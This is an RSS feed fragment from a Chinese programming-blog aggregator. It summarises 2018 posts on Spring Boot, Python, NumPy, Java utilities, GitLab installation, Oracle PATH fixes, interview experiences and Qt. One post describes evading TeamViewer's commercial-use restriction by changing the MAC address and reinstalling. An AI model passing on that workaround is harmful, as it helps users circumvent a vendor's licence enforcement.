（/actuator/shutdown）正常返回&#xA;{ &#34;message&#34;: &#34;Shutting down, bye...&#34; } 修改默认（/actuator）前缀路径）application.properties中添加&#xA;management.endpoints.web.base-path=/system/actuator 转载于:https://www.cnblogs.com/skyLogin/p/9214575.html</description>
    </item>
    <item>
      <title>python 字符串(str)与列表(list)以及数组(array)之间的转换方法详细整理</title>
      <link>https://bchobby.github.io/posts/f99add6a6eb9bc889ec2782131abaeee/</link>
      <pubDate>Fri, 22 Jun 2018 15:40:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99add6a6eb9bc889ec2782131abaeee/</guid>
      <description>前提： list以及array是python中经常会用到的数据类型，当需要对list以及array进行文件的读写操作的时候，由于write函数参数需要的是一个str，所以这时就需要对list或者array进行str的转换了。&#xA;list和array的不同：&#xA;在进行转换之间先研究下python中list和array（np.array）的不同：&#xA;1、list是python中内置的数据类型，其中的数据的类型可以不相同，如java中List也可以不用相同的数据，但是为了格式的统一，就要用到泛型或者ArrayList。array中的数据类型必须是一样的。&#xA;2、list中保存的数据的存放地址，而不是数据，会增加内存的占用，所以存放数据还是尽量使用array。&#xA;3、list中有append的方法，可以进行追加，而array没有追加的方法，只能通过np.append来实现追加。&#xA;4、在print的时候，打印的结果不同。list元素之间有&#34;,&#34;分割，而array之间是空格。&#xA;list = [1,2,3,4] arr = np.array(list) print(list) print(arr) [1, 2, 3, 4] [1 2 3 4] 1、list转换为str 当list中存放的数据是字符串时，一般是通过str中的join函数进行转换：&#xA;list = [&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;] str1 = &#39;&#39;.join(list) str2 = &#39; &#39;.join(list) str3 = &#39;.&#39;.join(list) print(str1) print(str2) print(str3) abcd a b c d a.b.c.d 但是当list中存放的数据是整型数据或者数字的话，需要先将数据转换为字符串再进行转换：&#xA;list = [1, 2, 3, 4] str1 = &#39;&#39;.join([str(x) for x in list]) str2 = &#39; &#39;.join([str(x) for x in list]) str3 = &#39;.</description>
    </item>
    <item>
      <title>从一个聚合SDK的Bug解决所展开的人生思考</title>
      <link>https://bchobby.github.io/posts/06285ce5571a0cd50d83b7d7ed98f765/</link>
      <pubDate>Fri, 22 Jun 2018 12:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06285ce5571a0cd50d83b7d7ed98f765/</guid>
      <description>最近，公司有个做聚合SDK的老铁要离职了，然后它的锅就甩给我了，话说，本来开会的时候说和另一个同事一人负责半个月&#xA;哎，我是一个落魄的小开发 那好吧，App这边目前也没有啥需求，然后就接手了这位老铁的聚合SDK的项目，本来是一个月的项目交接时间，非常奇葩的一个礼拜就走人了，一点都不夸张的，代码都还没有看完就已经要去和CP对接游戏了，直接上手开干，啰嗦了这么多，还没有扯到正题，好吧，我的锅，必须通过文字来小小的抱怨一下。&#xA;由于这个Bug是在对接聚合SDK时发生的，但是很多小伙伴对SDK其实接触的不多，这里就先简单的介绍一下什么是SDK，什么是聚合SDK。SDK的英文全名是：software development kit，翻译成中文的意思就是“软件开发工具包”。SDK通俗点说就是第三方提供了一个实现了某些功能的工具包提供给你调用这里面的代码，然后就可以实现功能，以下是传统的接入SDK的缺点。&#xA;1，已经接入的渠道不定期的升级、更新&#xA;2，和其他公司的技术、商务的沟通协调&#xA;3，重复的动作，无限循环&#xA;主流渠道SDK有 AnySDK、易接、棱镜，这些SDK已经接入了主流的几十家SDK，但是缺陷也很大。他们的技术原理就是安卓反编译、回编，利用apktool.jar&#xA;1，收费，渠道一方要收大头，第三方也要收，那么留给游戏公司的利润就非常低了&#xA;2，安全，数据要通过第三方SDK的服务器&#xA;3，死板不自由，他们只接入了主流的，如果游戏公司和一些小的渠道有合作，这就需要重复的工作&#xA;客户端解决方案&#xA;1，一个抽象的SDK接入层&#xA;2，一键自动化打包工具&#xA;3，多个平台支持，Java、Unity3D、Cocos2D&#xA;服务器解决方案&#xA;1，统一的登陆认证中心&#xA;2，统一的支付中心&#xA;3，支持多款游戏&#xA;聚合SDK就相当于一个工具，通过这个工具可以一次性批量接入大量游戏，然后快速分发给更多渠道，比一款一款游戏接入渠道，省去了大量时间、人力、财力。渠道的意思就是指可以上线应用和游戏的平台，比如奇虎360、华为、小米、魅族等等。聚合SDK的实现原理是游戏母包集成一个抽象的SDK框架，并且把一些常见的动作比如初始化、支付、登陆、切换登陆、分享等等实现放到框架的回调方法里，然后聚合这边再写一个AndroidLib项目，它实现了这个抽象框架，在这个抽象框架内实现具体的渠道SDK所需要去实现的方法。但是CP那边集成实现抽象框架后生成的apk文件怎么和渠道的资源进行合并呢，答案就是反编译和汇编原理，这里简单的说下会用到的一些技术。&#xA;1，apktool.jar&#xA;编译和反编译的工具&#xA;apktool d -f &amp;lt;file.apk&amp;gt; &amp;lt;dir&amp;gt;&#xA;---&amp;gt;将apk文件反编译到指定文件夹&#xA;apktool b -f &amp;lt;dir&amp;gt; &amp;lt;newFile.apk&amp;gt;&#xA;---&amp;gt;将修改后的反编译资源文件夹编译成新的apk文件&#xA;2，dx.bat&#xA;将class文件转换成dex文件&#xA;3，smali.jar&#xA;用apktool.jar对apk文件进行反编译的时候会生成一个smali目录，smali是安卓虚拟机Dalvik所使用的一种.dex文件的汇编和反汇编器&#xA;baksmaki 可以将dex文件转换成smali的形式&#xA;4，java运行环境&#xA;5，python2.7&#xA;用py写的脚本来自动化打包，本质就是用这些工具去一步步反编译和回编，避免开发人员去敲命令行&#xA;6,aapt.exe&#xA;可以对压缩文件内的资源进行操作&#xA;7，jarsigner&#xA;签名工具&#xA;8，zipalign&#xA;对安卓项目中的资源进行优化读取，将项目资源映射成4个字节方便读取，避免显式读取。&#xA;好的，关于SDK介绍到这里，下面开始介绍遇到的Bug。&#xA;天启 2018/06/21 15:18:34 qihoo360_{buildNum}.apk 2,检测出SDK错误，请修正后重新提交。 sdk帮助文档和自检工具，点击查看。 错误信息： (文件 qihoo_game_sdk_sync_adapter.xml中的android:contentAuthority属性必须为包名+.cx.accounts.syncprovider -- c523227b8455779fd82e745bb575a2c6.apk中缺少文件：lib/arm64-v8a/ liblegend.soc523227b8455779fd82e745bb575a2c6.apk中缺少文件：lib/arm64-v8a/ libonlywechat_plugin.soc523227b8455779fd82e745bb575a2c6.apk中缺少文件：lib/arm64-v8a/ libqhsdk.soc523227b8455779fd82e745bb575a2c6.apk中缺少文件：lib/ mips64/liblegend.soc523227b8455779fd82e745bb575a2c6.apk中缺少文件：lib/ mips64/libonlywechat_plugin.soc523227b8455779fd82e745bb575a2c6.apk中缺少文件：lib/ mips64/libqhsdk.</description>
    </item>
    <item>
      <title>一个学渣的阿里之路</title>
      <link>https://bchobby.github.io/posts/fe69a09b059ba7c84938053e94b9298a/</link>
      <pubDate>Fri, 22 Jun 2018 02:52:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe69a09b059ba7c84938053e94b9298a/</guid>
      <description>前言 最近有些朋友在面试阿里，加上 Java-Interview 项目的原因也有小伙伴和我讨论，近期也在负责部门的招牌，这让我想起年初那段长达三个月的奇葩面试经历?。&#xA;本来没想拿出来说的，毕竟最后也没成。&#xA;但由于那几个月的经历让我了解到了大厂的工作方式、对候选同学的考察重点以及面试官的套路等都有了全新的认识。&#xA;当然最重要的是这段时间的查漏补缺也让自己精进不少。&#xA;先交代下背景吧：&#xA;从去年 12 月到今年三月底，我前前后后面了阿里三个部门。&#xA;其中两个部门通过了技术面试，还有一个跪在了三面。&#xA;光看结果还不错，但整个流程堪称曲折。&#xA;下面我会尽量描述流程以及大致的面试题目大纲，希望对想要跳槽、正在面试的同学带来点灵感，帮助可能谈不上，但启发还是能有。&#xA;以下内容较长，请再次备好瓜子板凳。&#xA;A 部门 首先是第一次机会，去年 12 月份有位大佬加我，后来才知道是一个部门的技术 Leader 在网上看到我的博客，问我想不想来阿里试试。&#xA;这时距离上次面阿里也过去一年多了，也想看看现在几斤几两，于是便同意了。&#xA;在推荐一周之后收到了杭州打来的电话，说来也巧，那时候我正在机场候机，距离登记还有大概一个小时，心想时间肯定够了。&#xA;那是我时隔一年多第一次面试，还是在机场这样嘈杂的环境里。多多少少还是有些紧张。&#xA;一面 以下是我印象比较深刻的内容：&#xA;面试官：&#xA;谈谈你做过项目中印象较深或自认为做的比较好的地方？&#xA;博主：&#xA;我觉得我在 XX 做的不错，用了 XX 需求实现 XX 功能，性能提高了 N 倍。&#xA;面试官：&#xA;你说使用到了 AOP ，能谈谈它的实现原理嘛？&#xA;博主：&#xA;它是依靠动态代理实现的，动态代理又分为 JDK 自身的以及 CGLIB 。。。。&#xA;面试官：&#xA;嗯，能说说他们的不同及优缺点嘛？&#xA;博主：&#xA;JDK 是基于接口实现，而 CGLIB 继承代理类。。。&#xA;就是这样会一直问下去，如果聊的差不多了就开始问一些零散的问题：&#xA;JMM 内存模型，如何划分的？分别存储什么内容？线程安全与否？类加载机制，谈到双亲委派模型后会问到哪些违反了双亲委派模型？为什么？为什么要双亲委派？好处是什么？平时怎么使用多线程？有哪些好处？线程池的几个核心参数的意义？线程间通信的方式？HashMap 的原理？当谈到线程不安全时自然引申出 ConcurrentHashMap ，它的实现原理？分库分表如何设计？垂直拆分、水平拆分？业务 ID 的生成规则，有哪些方式？SQL 调优？平时使用数据库有哪些注意点？当一个应用启动缓慢如何优化？ 大概是以上这些，当聊到倒数第二个时我已经登机了。最后不得不提前挂断，结束之前告诉我之后会换一个同事和我沟通，听到这样的回复一面应该是过了，&#xA;后面也确实证实了这点。&#xA;二面 大概过了一周，二面如期而至。</description>
    </item>
    <item>
      <title>SpringCloud Eureka Client启动就停止报错</title>
      <link>https://bchobby.github.io/posts/a78cfe7352afdbb8a7c7118e05e06981/</link>
      <pubDate>Thu, 21 Jun 2018 11:43:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a78cfe7352afdbb8a7c7118e05e06981/</guid>
      <description>Spring boot 版本为 2.0.2.RELEASE&#xA;Spring Cloud 版本为 Finchley.RC2&#xA;启动报错信息如下（查看控制台最下面）：&#xA;2018-06-14 09:09:19.104 INFO 10436 --- [ Thread-16] com.netflix.discovery.DiscoveryClient : Shutting down DiscoveryClient ...&#xA;2018-06-14 09:09:19.139 INFO 10436 --- [nfoReplicator-0] com.netflix.discovery.DiscoveryClient : DiscoveryClient_UNKNOWN/DESKTOP-T39T2VU - registration status: 204&#xA;2018-06-14 09:09:19.140 INFO 10436 --- [nfoReplicator-0] com.netflix.discovery.DiscoveryClient : DiscoveryClient_UNKNOWN/DESKTOP-T39T2VU: registering service...&#xA;2018-06-14 09:09:19.148 INFO 10436 --- [nfoReplicator-0] com.netflix.discovery.DiscoveryClient : DiscoveryClient_UNKNOWN/DESKTOP-T39T2VU - registration status: 204&#xA;2018-06-14 09:09:19.149 INFO 10436 --- [ Thread-16] com.netflix.discovery.DiscoveryClient : Unregistering .</description>
    </item>
    <item>
      <title>补充一下亚信科技（上海）面经（offer）</title>
      <link>https://bchobby.github.io/posts/bbb01ba15327020759273108e3cba3e5/</link>
      <pubDate>Wed, 20 Jun 2018 20:13:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbb01ba15327020759273108e3cba3e5/</guid>
      <description>亚信是来学校招人的，很惊讶，还有什么大公司来我们双非师范类招人【虽然是传统行业，或者可以说外包，但毕竟体量大】&#xA;好像是5月吧，太久了，现在只是补充一下面试经历。【3月在线笔试投过，也很简单，但是还是没有收到面试通知，很奇怪，后来问了来学校的hr，他们说部门不同，不清楚。。】&#xA;下午2点的时候提前半小时来了教师，【学校的一个特别大的教室】可能名气小，而且师范类吧，来的人估计20几个人左右，&#xA;他们很惊讶，【实际上后面有次泛微公司来的时候比这人还少】&#xA;一开始当然是企业介绍了，然后问我们谁有带简历，放ppt，说待遇【3000包住宿，有点低，加班到晚上9点才有交通补餐补，一个月100至多的话费补贴，带薪培训一个月】&#xA;我是招聘会前台邮箱投递的，所有面试是最快的，第一面的，有两个男的，估计都是做技术的，一个是大数据，一个是java负责人，我面的是java，一共估计20分钟不到吧，一开始先做个自己介绍，看着简历问你的项目用了什么技术，是不是自己做的【后来想想亚信貌似不用springboot难怪项目没有继续问了】，然后就是问什么面向对象，面向过程的区别，封装继承多态等等一些java基础，数据库的#和$等等简单问题，问linux，我说不会，只会基础命令，他就问了vim了解吗？linux怎么关闭进程 ？最后就是手写一个稍微复杂的sql，用了group by 。。 having count 【没想起来他提示我了，后来我想起来了，他说让我过了】，时间过太久了，只记得这些题目了。总之都是比较容易的基础。&#xA;感觉好简单，，几天后发了offer，只有一面。。offer是大数据部门的java开发，签了但是跑路了，感觉好对不起面试官，面试官人很好，如果技术不够进大公司，作为实习经验感觉还是可以接受的。</description>
    </item>
    <item>
      <title>lsnrctl command not found</title>
      <link>https://bchobby.github.io/posts/193c4f4b7ac8ad64af1729897363ea50/</link>
      <pubDate>Wed, 20 Jun 2018 11:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/193c4f4b7ac8ad64af1729897363ea50/</guid>
      <description>在linux安装完oracle时,当你遇到lsnrctl command not found等问题都不能用时,会有几种情况&#xA;1,首先你先查看下环境变量里面有没有加入oracle的配置&#xA;执行 echo $ORACLE_HOME 没有的话,你执行&#xA;export ORACLE_HOME=&amp;lt;your Oracle Home&amp;gt; . 比如your orcal home是/db/product/11.2.0/dbhome_1&#xA;然后再执行&#xA;export PATH=$ORACLE_HOME/bin;$PATH&#xA;重起profile&#xA;source profile&#xA;2,当配置完环境变量后,还是不行,可以执行如下操作&#xA;cd /&#xA;su - root&#xA;su - oracle&#xA;这样基本上是可以解决了,如果还不行的话,把电脑搬到楼顶,你懂的. source /home/oracle/.bash_profile&#xA;原文地址：https://blog.csdn.net/xiangrong530/article/details/7465023</description>
    </item>
    <item>
      <title>上古卷轴 5 ：不能与瑟拉娜交换装备的问题</title>
      <link>https://bchobby.github.io/posts/0e813e6195f0c0b7a3f4f2996af744c2/</link>
      <pubDate>Wed, 20 Jun 2018 05:47:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e813e6195f0c0b7a3f4f2996af744c2/</guid>
      <description>这是个bug。&#xA;具体表现为：只能给瑟拉娜没有重量的物品，如箭矢。所有有重量的物品都无法交换给她，而且是灰色的。看起来是超过负重了。&#xA;解决方法：&#xA;首先启动控制台（按~键，一般在数字1左边），然后用鼠标点一下瑟拉娜，如果屏幕中间的的id的结尾是“2B6C”，则表示已经选中了瑟拉娜。输入命令 showinventory，会显示瑟拉娜身上携带的所有东西，包括：数量（第一个数字），名字，代码等等。&#xA;有一个物品是”瑟拉娜的兜帽“，代码是”0200e6a0“。bug时，这个物品的数量会有很多，把负重用完了。那么，解决的话，只要删掉多余的就行了。比如数量是300个，那么用下面的命令：&#xA;removeitem 0200E6A0 299&#xA;这样就删掉了299个。&#xA;当然，全部删除了也可以。瑟拉娜身上有一些缺省物品，包括：盔甲、帽子、靴子。这些即使删掉，只要切换场景就会自动添加回来。&#xA;解决方法参考了这个：http://bbs.3dmgame.com/thread-4145257-1-1.html</description>
    </item>
    <item>
      <title>Java工具类</title>
      <link>https://bchobby.github.io/posts/6932f46e3ecf7460457aa63c307b3061/</link>
      <pubDate>Tue, 19 Jun 2018 17:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6932f46e3ecf7460457aa63c307b3061/</guid>
      <description>在Java中，工具类定义了一组公共方法，这篇文章将介绍Java中使用最频繁及最通用的Java工具类。以下工具类、方法按使用流行度排名，参考数据来源于Github上随机选取的5万个开源项目源码。&#xA;一. org.apache.commons.io.IOUtils&#xA;closeQuietly：关闭一个IO流、socket、或者selector且不抛出异常，通常放在finally块toString：转换IO流、 Uri、 byte[]为Stringcopy：IO流数据复制，从输入流写到输出流中，最大支持2GBtoByteArray：从输入流、URI获取byte[]write：把字节. 字符等写入输出流toInputStream：把字符转换为输入流readLines：从输入流中读取多行数据，返回List&amp;lt;String&amp;gt;copyLarge：同copy，支持2GB以上数据的复制lineIterator：从输入流返回一个迭代器，根据参数要求读取的数据量，全部读取，如果数据不够，则失败 二. org.apache.commons.io.FileUtils&#xA;deleteDirectory：删除文件夹readFileToString：以字符形式读取文件内容deleteQueitly：删除文件或文件夹且不会抛出异常copyFile：复制文件writeStringToFile：把字符写到目标文件，如果文件不存在，则创建forceMkdir：强制创建文件夹，如果该文件夹父级目录不存在，则创建父级write：把字符写到指定文件中listFiles：列举某个目录下的文件(根据过滤器)copyDirectory：复制文件夹forceDelete：强制删除文件 三. org.apache.commons.lang.StringUtils&#xA;isBlank：字符串是否为空 (trim后判断)isEmpty：字符串是否为空 (不trim并判断)equals：字符串是否相等join：合并数组为单一字符串，可传分隔符split：分割字符串EMPTY：返回空字符串trimToNull：trim后为空字符串则转换为nullreplace：替换字符串 四. org.apache.http.util.EntityUtils&#xA;toString：把Entity转换为字符串consume：确保Entity中的内容全部被消费。可以看到源码里又一次消费了Entity的内容，假如用户没有消费，那调用Entity时候将会把它消费掉toByteArray：把Entity转换为字节流consumeQuietly：和consume一样，但不抛异常getContentCharset：获取内容的编码 五. org.apache.commons.lang3.StringUtils&#xA;isBlank：字符串是否为空 (trim后判断)isEmpty：字符串是否为空 (不trim并判断)equals：字符串是否相等join：合并数组为单一字符串，可传分隔符split：分割字符串EMPTY：返回空字符串replace：替换字符串capitalize：首字符大写 六. org.apache.commons.io.FilenameUtils&#xA;getExtension：返回文件后缀名getBaseName：返回文件名，不包含后缀名getName：返回文件全名concat：按命令行风格组合文件路径(详见方法注释)removeExtension：删除后缀名normalize：使路径正常化wildcardMatch：匹配通配符seperatorToUnix：路径分隔符改成unix系统格式的，即/getFullPath：获取文件路径，不包括文件名isExtension：检查文件后缀名是不是传入参数(List&amp;lt;String&amp;gt;)中的一个 七. org.springframework.util.StringUtils&#xA;hasText：检查字符串中是否包含文本hasLength：检测字符串是否长度大于0isEmpty：检测字符串是否为空（若传入为对象，则判断对象是否为null）commaDelimitedStringToArray：逗号分隔的String转换为数组collectionToDelimitedString：把集合转为CSV格式字符串replace 替换字符串delimitedListToStringArray：相当于splituncapitalize：首字母小写collectionToDelimitedCommaString：把集合转为CSV格式字符串tokenizeToStringArray：和split基本一样，但能自动去掉空白的单词 八. org.apache.commons.lang.ArrayUtils&#xA;contains：是否包含某字符串addAll：添加整个数组clone：克隆一个数组isEmpty：是否空数组add：向数组添加元素subarray：截取数组indexOf：查找某个元素的下标isEquals：比较数组是否相等toObject：基础类型数据数组转换为对应的Object数组 九. org.apache.commons.lang.StringEscapeUtils&#xA;参考十五：org.apache.commons.lang3.StringEscapeUtils 十. org.apache.http.client.utils.URLEncodedUtils&#xA;format：格式化参数，返回一个HTTP POST或者HTTP PUT可用application/x-www-form-urlencoded字符串parse：把String或者URI等转换为List&amp;lt;NameValuePair&amp;gt; 十一. org.apache.commons.codec.digest.DigestUtils&#xA;md5Hex：MD5加密，返回32位字符串sha1Hex：SHA-1加密sha256Hex：SHA-256加密sha512Hex：SHA-512加密md5：MD5加密，返回16位字符串 十二. org.apache.commons.collections.CollectionUtils&#xA;isEmpty：是否为空select：根据条件筛选集合元素transform：根据指定方法处理集合元素，类似List的map()filter：过滤元素，雷瑟List的filter()find：基本和select一样collect：和transform 差不多一样，但是返回新数组forAllDo：调用每个元素的指定方法isEqualCollection：判断两个集合是否一致 十三. org.apache.commons.lang3.ArrayUtils&#xA;contains：是否包含某个字符串addAll：添加整个数组clone：克隆一个数组isEmpty：是否空数组add：向数组添加元素subarray：截取数组indexOf：查找某个元素的下标isEquals：比较数组是否相等toObject：基础类型数据数组转换为对应的Object数组 十四. org.apache.commons.beanutils.PropertyUtils&#xA;getProperty：获取对象属性值setProperty：设置对象属性值getPropertyDiscriptor：获取属性描述器isReadable：检查属性是否可访问copyProperties：复制属性值，从一个对象到另一个对象getPropertyDiscriptors：获取所有属性描述器isWriteable：检查属性是否可写getPropertyType：获取对象属性类型 十五. org.apache.commons.lang3.StringEscapeUtils&#xA;unescapeHtml4：转义htmlescapeHtml4：反转义htmlescapeXml：转义xmlunescapeXml：反转义xmlescapeJava：转义unicode编码escapeEcmaScript：转义EcmaScript字符unescapeJava：反转义unicode编码escapeJson：转义json字符escapeXml10：转义Xml10这个现在已经废弃了，建议使用commons-text包里面的方法。 十六. org.apache.commons.beanutils.BeanUtils&#xA;copyPeoperties：复制属性值，从一个对象到另一个对象getProperty：获取对象属性值setProperty：设置对象属性值populate：根据Map给属性复制copyPeoperty：复制单个值，从一个对象到另一个对象cloneBean：克隆bean实例 现在你只要了解了以上16种最流行的工具类方法，你就不必要再自己写工具类了，不必重复造轮子。大部分工具类方法通过其名字就能明白其用途，如果不清楚的，可以看下别人是怎么用的，或者去网上查询其用法。&#xA;另外，工具类，根据阿里开发手册，包名如果要使用util不能带s，工具类命名为XxxUtils。</description>
    </item>
    <item>
      <title>gitlab服务器社区版安装与使用</title>
      <link>https://bchobby.github.io/posts/f0e7f243476857c016bcf6fbfee48707/</link>
      <pubDate>Tue, 19 Jun 2018 15:30:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0e7f243476857c016bcf6fbfee48707/</guid>
      <description>1. 下载 下载地址为：https://packages.gitlab.com/gitlab/gitlab-ce&#xA;下载需要版本：gitlab-ce-10.8.4-ce.0.el7.x86_64.rpm&#xA;Linux系统：CentOS7&#xA;2. 配置必要的依赖关系 1). 防火墙打开HTTP和SSH访问 sudo yum install -y curl policycoreutils-python openssh-server&#xA;sudo systemctl enable sshd&#xA;sudo systemctl start sshd&#xA;sudo firewall-cmd --permanent--add-service=http&#xA;sudo systemctl reload firewalld&#xA;2). 安装Postfix来发送通知邮件 如果您想使用另一个解决方案发送电子邮件，请跳过这一步，并在安装GitLab之后配置一个外部SMTP服务器。&#xA;sudo yum install postfix&#xA;sudo systemctl enable postfix&#xA;sudo systemctl start postfix&#xA;3). 其他linux发行版配置参考gitlab官网：https://about.gitlab.com/installation/ 3. 安装 [liuyh@bogon ~]$ sudo rpm -i gitlab-ce-10.8.4-ce.0.el7.x86_64.rpm&#xA;4. 配置域名访问 为使用户可以正确的获取到GitLab上显示的当前仓库的clone地址，GitLab需要你设置好哪个url才是用户可以访问到GitLab, 比如http://192.168.153.131:28080。你需要编辑下面这个文件/etc/gitlab/gitlab.rb&#xA;external_url &#34;http://192.168.153.131:28080&#34;&#xA;运行 sudo gitlab-ctl reconfigure 使修改生效。&#xA;gitlab其他配置参考gitlab中文文档：https://docs.gitlab.com.cn/omnibus/&#xA;5. gitlab的使用 1).</description>
    </item>
    <item>
      <title>NumPy常用函数（6）-- 计算中位数和方差</title>
      <link>https://bchobby.github.io/posts/56c25a893cb255ca26742aa2cf888b73/</link>
      <pubDate>Mon, 18 Jun 2018 10:02:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56c25a893cb255ca26742aa2cf888b73/</guid>
      <description>NumPy中可以通过median函数计算中位数；通过var函数计算方差。方差是指各个数据与所有数据算术平均数的离差平方和除以数据个数所得到的值。&#xA;计算中位数和方差实例： #NumPy常用函数：计算中位数和方差 from numpy import * #1,2,3,4,5 a = array([4,5,2,3,1]) print(median(a)) price=loadtxt(&#39;data.csv&#39;,delimiter=&#39;,&#39;,usecols=(6,),unpack=True) print(price) print(median(price)) #验证刚才求的中位数是否正确 #1、将数组进行排序 sorted = msort(price) print(sorted) #2、计算数组的元素个数 n = len(sorted) print(n) #print(&#39;middle&#39;, &#39;=&#39;, sorted[n - 1]//2) #n为奇数 print(&#39;middle&#39;, &#39;=&#39;, (sorted[n // 2] + sorted[(n - 1) // 2]) / 2) #n为偶数 #方差：假设数组元素的算数平均数是a，元素个数是n，x1、x2、x3...xn #((x1 - a)^2 + (x2 - a)^2 + (x3 - a)^2 ... + (xn - a)^2) / n print(&#39;方差：&#39;, var(price)) 输出结果：&#xA;3.0 [ 336.</description>
    </item>
    <item>
      <title>将多个Map合并</title>
      <link>https://bchobby.github.io/posts/08f56f444c77a32214aabb44b2b62e9f/</link>
      <pubDate>Sun, 17 Jun 2018 22:12:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08f56f444c77a32214aabb44b2b62e9f/</guid>
      <description>1.先来一个demo&#xA;public static void main(String[] args) { Map&amp;lt;String, String&amp;gt; map1 = new HashMap&amp;lt;String, String&amp;gt;(){{ put(&#34;1&#34;, &#34;a&#34;); put(&#34;2&#34;, &#34;b&#34;); put(&#34;3&#34;, &#34;c&#34;); }}; Map&amp;lt;String, String&amp;gt; map2 = new HashMap&amp;lt;String, String&amp;gt;(){{ put(&#34;test1&#34;, &#34;张三&#34;); put(&#34;test2&#34;, &#34;李四&#34;); put(&#34;test3&#34;, &#34;王五&#34;); }}; Map&amp;lt;String, String&amp;gt; resultMap = new HashMap&amp;lt;String, String&amp;gt;(){{ putAll(map1); putAll(map2); }}; System.out.println(resultMap); } 2.下面将以上操作改写成工具方法&#xA;import java.util.Map; public class MapUtil { /** * 合并多个map * @param maps * @param &amp;lt;K&amp;gt; * @param &amp;lt;V&amp;gt; * @return * @throws Exception */ public static &amp;lt;K, V&amp;gt; Map mergeMaps(Map&amp;lt;K, V&amp;gt;.</description>
    </item>
    <item>
      <title>NumPy数组（9）-- 将NumPy数组转换为Python列表</title>
      <link>https://bchobby.github.io/posts/58c6773b4d95cad9eb14992df3fa07c7/</link>
      <pubDate>Sun, 17 Jun 2018 16:30:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58c6773b4d95cad9eb14992df3fa07c7/</guid>
      <description> 可以利用tolist函数将Numpy中的数组转换为Python中的列表，还可以用astype指定转换数组的数据类型。&#xA;from numpy import * #tolist astype a = array([1,2,3,4,5,6]) print(a) print(a.tolist()) #将numpy中的数组转换为python中的列表 print(&#34;-----------------------1111--------------------------&#34;) b = a.reshape(2,3) print(b) print(b.tolist()) print(&#34;-----------------------2222--------------------------&#34;) a = array([1,2,3,4,5,&#39;6&#39;]) print(a.astype(int)) #astype 能够指定数据类型 print(&#34;-----------------------3333--------------------------&#34;) a = array([1,2,3,4,5,&#39;x&#39;]) #print(a.astype(int)) #因为数组a中有字符串x，不能转换为int型，所以会抛出异常 输出结果：&#xA;[1 2 3 4 5 6] [1, 2, 3, 4, 5, 6] -----------------------1111-------------------------- [[1 2 3] [4 5 6]] [[1, 2, 3], [4, 5, 6]] -----------------------2222-------------------------- [1 2 3 4 5 6] -----------------------3333-------------------------- </description>
    </item>
    <item>
      <title>The Flask Mega-Tutorial 之 Chapter 10: Email Support</title>
      <link>https://bchobby.github.io/posts/247e86508a804327944ca86fbf03dbf4/</link>
      <pubDate>Sun, 17 Jun 2018 12:52:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/247e86508a804327944ca86fbf03dbf4/</guid>
      <description>小引 很多网站都有给用户发 email 的设置，很常规的一个目的是解决 authentication 相关的问题。本节将添加 email support，基于此添加 password reset feature。当 user 忘掉 password 时，可以选择 reset，app 据此会给 user 发送一封带有 crafted link 的 email，user 点击链接，转到 reset 页面，进行 reset。 Introduction to Flask-Mail 1、引入两个 extension，分别是 Flask-Mail 和 pyjwt。&#xA;Flask-Mail， 用于发送邮件pyjwt， JSON Web Tokens 的一个package，用于生成 secure token，此 token 将被添加到邮件中的 password reset link 中 (venv) $ pip install flask-mail (venv) $ pip install pyjwt&#xA;2、配置 Flask-Mail&#xA;和其他 Flask extensions 一样，需要在 flask application instance 后，创建对应的 instance： app/__init__.</description>
    </item>
    <item>
      <title>Qt中PushButton的pressed,released,clicked三种响应的区别</title>
      <link>https://bchobby.github.io/posts/c304f1675813906aaae9e25120279c71/</link>
      <pubDate>Sat, 16 Jun 2018 17:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c304f1675813906aaae9e25120279c71/</guid>
      <description>Qt的PushButton的常用的三种响应有pressed，released和clicked。&#xA;优先级：pressed&amp;gt;released&amp;gt;clicked&#xA;按下按钮pressed函数的内容，释放按钮先执行released函数的内容，再执行clicked函数的内容。&#xA;当鼠标光标在按钮上时，鼠标左键被按下时，pressed()被发送；当鼠标左键被释放时，released()被发送；&#xA;当按钮首先被按下然后又被释放或者快捷键被按下，或者当animateClick()被调用时，clicked()被发送。&#xA;转载于:https://www.cnblogs.com/pupilLZT/p/9190926.html</description>
    </item>
    <item>
      <title>Teamvier提示商业用途限制使用的解决方案</title>
      <link>https://bchobby.github.io/posts/f8d6b227ed0dcf46705e3a4715f93bd6/</link>
      <pubDate>Sat, 16 Jun 2018 11:48:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8d6b227ed0dcf46705e3a4715f93bd6/</guid>
      <description>1、Teamvier使用过程中不建议使用账号登录，关联多个电脑，容易被认定为商业用途，在家连公司电脑也算商业用途，所以不用登录teamvier账号，设置轻松访问密码，记住分配的ID即可。&#xA;2、已经被认定为商业用途的限制只能使用5分钟即强制断开，解决方案为卸载teamvier，修改网卡Mac地址，然后重装teamvier，即可重新获得分配的新ID。之后正常使用即可。&#xA;3、操作步骤：&#xA;桌面网络右键属性，如图：&#xA;更改适配器设置，如图：&#xA;本地连接右键属性，如图：&#xA;网路-&amp;gt;配置，如图&#xA;高级-&amp;gt;网络地址-&amp;gt;值，如图：&#xA;值为Mac地址，在cmd里ipconfig /all之后可查看原Mac地址，如图：&#xA;但是值中填写的需要去掉-，然后修改之后保存即可。</description>
    </item>
    <item>
      <title>VS2017配置QT5.9</title>
      <link>https://bchobby.github.io/posts/eff05c649e54039e423a3bdf81b895bc/</link>
      <pubDate>Fri, 15 Jun 2018 11:19:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eff05c649e54039e423a3bdf81b895bc/</guid>
